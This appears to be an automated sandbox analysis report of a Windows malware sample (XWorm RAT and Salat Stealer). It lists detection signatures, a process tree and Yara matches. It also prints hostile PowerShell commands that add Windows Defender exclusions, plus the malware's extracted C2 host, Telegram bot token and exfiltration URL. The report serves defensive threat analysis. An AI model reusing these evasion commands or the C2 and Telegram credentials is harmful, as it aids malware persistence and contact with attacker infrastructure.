Edit tour

Windows Analysis Report
KoaguarLoader.exe

Overview

General Information

Sample name:	KoaguarLoader.exe
Analysis ID:	1635431
MD5:	17d315fd1070f02f6416bdbaef4013bf
SHA1:	3788e9c037f8cced6641b54253ca3e85c06db794
SHA256:	ba66581906649d65334d3e234825bd3e1dd9b57b3a77fad66c3e942e552b6a5b
Tags:	exeXWormuser-aachum
Infos:

Detection

Salat Stealer, XWorm

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Salat Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses the Telegram API (likely for C&C communication)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

KoaguarLoader.exe (PID: 6992 cmdline: "C:\Users\user\Desktop\KoaguarLoader.exe" MD5: 17D315FD1070F02F6416BDBAEF4013BF)

KoaguarLoader.exe (PID: 5744 cmdline: "C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe" MD5: FECE8E37429350B456E8E5555464B130)

I1y524I4zau1n3u.exe (PID: 3816 cmdline: "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe" MD5: FECE8E37429350B456E8E5555464B130)

svhost.exe (PID: 5248 cmdline: "C:\Users\user\AppData\Local\Temp\svhost.exe" MD5: 2A40AB34DCD3014E4EE93546DA6641D1)

powershell.exe (PID: 4732 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7380 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7724 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\svhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HkqNfKUrMBAD.exe (PID: 7336 cmdline: "C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe" MD5: FECE8E37429350B456E8E5555464B130)

I1y524I4zau1n3u.exe (PID: 7616 cmdline: "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe" MD5: FECE8E37429350B456E8E5555464B130)

svchost.exe (PID: 7860 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

HkqNfKUrMBAD.exe (PID: 7956 cmdline: "C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe" MD5: FECE8E37429350B456E8E5555464B130)

I1y524I4zau1n3u.exe (PID: 5908 cmdline: "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe" MD5: FECE8E37429350B456E8E5555464B130)

svhost.exe (PID: 5568 cmdline: "C:\Users\user\AppData\Roaming\svhost.exe" MD5: 2A40AB34DCD3014E4EE93546DA6641D1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["develop-oregon.gl.at.ply.gg"], "Port": 41793, "Aes key": "123456789", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Telegram Token": "7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ", "Telegram Chatid": "1099820672", "Version": "XWorm V5.6"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7633754203:AAGdgIxVhns7RJswrsnNS4ilwSCe6ayObHQ/sendMessage"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
KoaguarLoader.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
KoaguarLoader.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
KoaguarLoader.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x32bff8:$str01: $VB$Local_Port 0x32c025:$str02: $VB$Local_Host 0x32a9d4:$str03: get_Jpeg 0x32ae61:$str04: get_ServicePack 0x32d67d:$str05: Select * from AntivirusProduct 0x32de0d:$str06: PCRestart 0x32de21:$str07: shutdown.exe /f /r /t 0 0x32ded3:$str08: StopReport 0x32dea9:$str09: StopDDos 0x32df9f:$str10: sendPlugin 0x32e01f:$str11: OfflineKeylogger Not Enabled 0x32e159:$str12: -ExecutionPolicy Bypass -File " 0x32e624:$str13: Content-length: 5235
KoaguarLoader.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x32d1d5:$s6: VirtualBox 0x32d133:$s8: Win32_ComputerSystem 0x32e823:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32e8c0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32e9d5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32e53f:$cnc4: POST / HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\svhost.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Local\Temp\svhost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\svhost.exe	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe
C:\Users\user\AppData\Local\Temp\svhost.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
C:\Users\user\AppData\Local\Temp\svhost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\svhost.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Roaming\svhost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\svhost.exe	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe
C:\Users\user\AppData\Roaming\svhost.exe	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
C:\Users\user\AppData\Roaming\svhost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2138122248.0000000003111000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbf39:$s6: VirtualBox 0x1b151:$s6: VirtualBox 0xbe97:$s8: Win32_ComputerSystem 0x1b0af:$s8: Win32_ComputerSystem 0xd587:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c79f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd624:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c83c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd739:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c951:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd2a3:$cnc4: POST / HTTP/1.1 0x1c4bb:$cnc4: POST / HTTP/1.1
00000010.00000002.1215210538.0000000000EDD000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
00000017.00000001.1289075938.0000000000291000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.868675253.0000000000408000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.868675253.0000000000408000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x32bfd5:$s6: VirtualBox 0x32bf33:$s8: Win32_ComputerSystem 0x32d623:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32d6c0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x32d7d5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32d33f:$cnc4: POST / HTTP/1.1
00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf731:$s6: VirtualBox 0xf68f:$s8: Win32_ComputerSystem 0x10d7f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10e1c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10f31:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10a9b:$cnc4: POST / HTTP/1.1
00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbf41:$s6: VirtualBox 0xbe9f:$s8: Win32_ComputerSystem 0xd58f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd62c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd741:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd2ab:$cnc4: POST / HTTP/1.1
00000002.00000002.939032080.000000000167D000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2129024902.0000000000A8D000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
00000009.00000002.1079600336.0000000000EDD000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
00000009.00000002.1079600336.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.943416104.0000000000A8D000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
00000004.00000002.943416104.0000000000291000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2129024902.0000000000291000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.1215210538.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: KoaguarLoader.exe PID: 6992	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: KoaguarLoader.exe PID: 5744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: KoaguarLoader.exe PID: 5744	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
Process Memory Space: svhost.exe PID: 5248	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: svhost.exe PID: 5248	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: I1y524I4zau1n3u.exe PID: 3816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I1y524I4zau1n3u.exe PID: 3816	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
Process Memory Space: HkqNfKUrMBAD.exe PID: 7336	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HkqNfKUrMBAD.exe PID: 7336	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
Process Memory Space: I1y524I4zau1n3u.exe PID: 7616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I1y524I4zau1n3u.exe PID: 7616	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
Process Memory Space: HkqNfKUrMBAD.exe PID: 7956	JoeSecurity_SalatStealer	Yara detected Salat Stealer	Joe Security
Process Memory Space: I1y524I4zau1n3u.exe PID: 5908	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.svhost.exe.31e05f0.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.svhost.exe.31e05f0.0.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xc3c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xcdf8:$s2: svhost.exe 0xce60:$s2: svhost.exe 0xd47c:$s2: svhost.exe 0xd4ec:$s2: svhost.exe
3.2.svhost.exe.31e05f0.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x9164:$str01: $VB$Local_Port 0x9191:$str02: $VB$Local_Host 0x7b40:$str03: get_Jpeg 0x7fcd:$str04: get_ServicePack 0xa7e9:$str05: Select * from AntivirusProduct 0xaf79:$str06: PCRestart 0xaf8d:$str07: shutdown.exe /f /r /t 0 0xb03f:$str08: StopReport 0xb015:$str09: StopDDos 0xb10b:$str10: sendPlugin 0xb18b:$str11: OfflineKeylogger Not Enabled 0xb2c5:$str12: -ExecutionPolicy Bypass -File " 0xb790:$str13: Content-length: 5235
3.2.svhost.exe.31e05f0.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xa341:$s6: VirtualBox 0xa29f:$s8: Win32_ComputerSystem 0xb98f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba2c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbb41:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb6ab:$cnc4: POST / HTTP/1.1
0.3.KoaguarLoader.exe.a5f010.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.KoaguarLoader.exe.a5f010.0.raw.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe 0x12d56:$s2: svhost.exe
0.3.KoaguarLoader.exe.a5f010.0.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
0.3.KoaguarLoader.exe.a5f010.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
3.2.svhost.exe.31e05f0.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.KoaguarLoader.exe.727e94.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.svhost.exe.31e05f0.0.raw.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe 0xf27c:$s2: svhost.exe 0xf2ec:$s2: svhost.exe
0.0.KoaguarLoader.exe.727e94.2.raw.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xe1c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xebf8:$s2: svhost.exe 0xec60:$s2: svhost.exe
3.2.svhost.exe.31e05f0.0.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
0.0.KoaguarLoader.exe.727e94.2.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xaf64:$str01: $VB$Local_Port 0xaf91:$str02: $VB$Local_Host 0x9940:$str03: get_Jpeg 0x9dcd:$str04: get_ServicePack 0xc5e9:$str05: Select * from AntivirusProduct 0xcd79:$str06: PCRestart 0xcd8d:$str07: shutdown.exe /f /r /t 0 0xce3f:$str08: StopReport 0xce15:$str09: StopDDos 0xcf0b:$str10: sendPlugin 0xcf8b:$str11: OfflineKeylogger Not Enabled 0xd0c5:$str12: -ExecutionPolicy Bypass -File " 0xd590:$str13: Content-length: 5235
3.2.svhost.exe.31e05f0.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
0.0.KoaguarLoader.exe.727e94.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc141:$s6: VirtualBox 0xc09f:$s8: Win32_ComputerSystem 0xd78f:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd82c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd941:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd4ab:$cnc4: POST / HTTP/1.1
0.0.KoaguarLoader.exe.727e94.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.KoaguarLoader.exe.727e94.2.unpack	Andromeda_MalBot_Jun_1A	Detects a malicious Worm Andromeda / RETADUP	Florian Roth	0xc3c9:$s1: 4System.Web.Services.Protocols.SoapHttpClientProtocol 0xcdf8:$s2: svhost.exe 0xce60:$s2: svhost.exe
0.0.KoaguarLoader.exe.727e94.2.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x9164:$str01: $VB$Local_Port 0x9191:$str02: $VB$Local_Host 0x7b40:$str03: get_Jpeg 0x7fcd:$str04: get_ServicePack 0xa7e9:$str05: Select * from AntivirusProduct 0xaf79:$str06: PCRestart 0xaf8d:$str07: shutdown.exe /f /r /t 0 0xb03f:$str08: StopReport 0xb015:$str09: StopDDos 0xb10b:$str10: sendPlugin 0xb18b:$str11: OfflineKeylogger Not Enabled 0xb2c5:$str12: -ExecutionPolicy Bypass -File " 0xb790:$str13: Content-length: 5235
